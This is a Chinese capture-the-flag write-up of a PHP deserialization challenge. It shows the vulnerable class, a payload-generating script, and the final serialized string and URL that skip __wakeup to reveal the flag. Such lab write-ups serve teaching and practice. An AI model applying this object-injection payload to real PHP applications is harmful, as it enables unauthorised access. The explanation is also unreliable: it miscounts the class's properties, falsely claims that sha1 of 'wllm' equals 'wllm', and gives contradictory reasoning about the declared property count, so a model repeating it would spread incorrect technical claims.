打开题目后,点击三个?,发现是一个php序列化脚本
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
这个PHP脚本包含一个反序列化漏洞,可以通过精心构造的序列化字符串来利用。下面是对脚本的分析和如何绕过限制的解释:
-
class HaHaHa
:定义了一个名为HaHaHa
的类,该类有三个公共属性:admin
、passwd
,以及三个魔术方法:__construct
、__wakeup
和__destruct
。 -
__construct
:在对象创建时自动调用,设置admin
为"user"
,passwd
为"123456"
。 -
__wakeup
:在对象反序列化时自动调用,将passwd
通过sha1
函数加密。 -
__destruct
:在对象销毁时自动调用,检查admin
是否为"admin"
且passwd
是否为"wllm"
。如果是,则包含flag.php
文件并输出$flag
;否则,输出$passwd
和"No wake up"
。 -
$Letmeseesee = $_GET['p'];
:从GET参数p
中获取值,并尝试对其进行反序列化。
为了绕过这个限制并获取flag
,你需要构造一个序列化字符串,使得反序列化后的对象满足admin
为"admin"
且passwd
为"wllm"
。由于__wakeup
方法会改变passwd
的值,我们需要利用PHP反序列化中的一个特性:如果序列化字符串中的属性数量与实际属性数量不匹配,__wakeup
方法不会被调用。
这是解题所用到的php反序列化脚本:
<?php
class HaHaHa {
public $admin = "admin";
public $passwd = "wllm";
}
// 创建一个HaHaHa对象
$obj = new HaHaHa();
// 序列化对象,并减少属性数量以绕过__wakeup
$serialized = serialize($obj);
$serialized = str_replace(':2:{', ':1:{', $serialized);
// 输出序列化后的字符串
echo $serialized;
?>
在这个脚本中,我们首先创建了一个HaHaHa
对象,并设置了admin
和passwd
的值。然后,我们序列化这个对象,并修改序列化字符串,将属性数量从2改为1,这样在反序列化时__wakeup
方法就不会被调用。最后,我们输出修改后的序列化字符串,这个字符串可以用于攻击目标脚本。
将这个脚本直接放到在线网站上运行,即可得到生成的序列化字符串
在线运行PHP这是一个简单方便的PHP在线运行工具,支持在线编译、在线调试和在线结果的实时反馈。https://www.bejson.com/runcode/php/
O:6:"HaHaHa":1:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
但生成的这个序列化字符串是不可以输出flag的,真正可以输出flag的序列化字符串是
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
在原始的序列化字符串中,将属性数量从2减少到1,这是为了绕过__wakeup()
方法,因为__wakeup()
方法会尝试修改$passwd
的值。但是,由于$passwd
值已经是"wllm"
,这个值的sha1()
哈希值与原始值相同,因此即使__wakeup()
方法被调用,也不会影响最终的检查条件。
为了正确绕过__wakeup()
方法并满足__destruct()
方法中的检查条件,需要确保序列化字符串中声明的属性数量与实际属性数量一致,但故意声明一个错误的数量。因此,正确的序列化字符串应该是O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
,其中声明了3个属性,但实际上只有2个。这样,PHP在反序列化时会将其调整为2个属性,但__wakeup()
方法会被绕过,$passwd
的值不会被修改,从而满足__destruct()
方法中的检查条件,输出$flag
http://node4.anna.nssctf.cn:28225/class.php?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
访问即可得到flag。
本题完。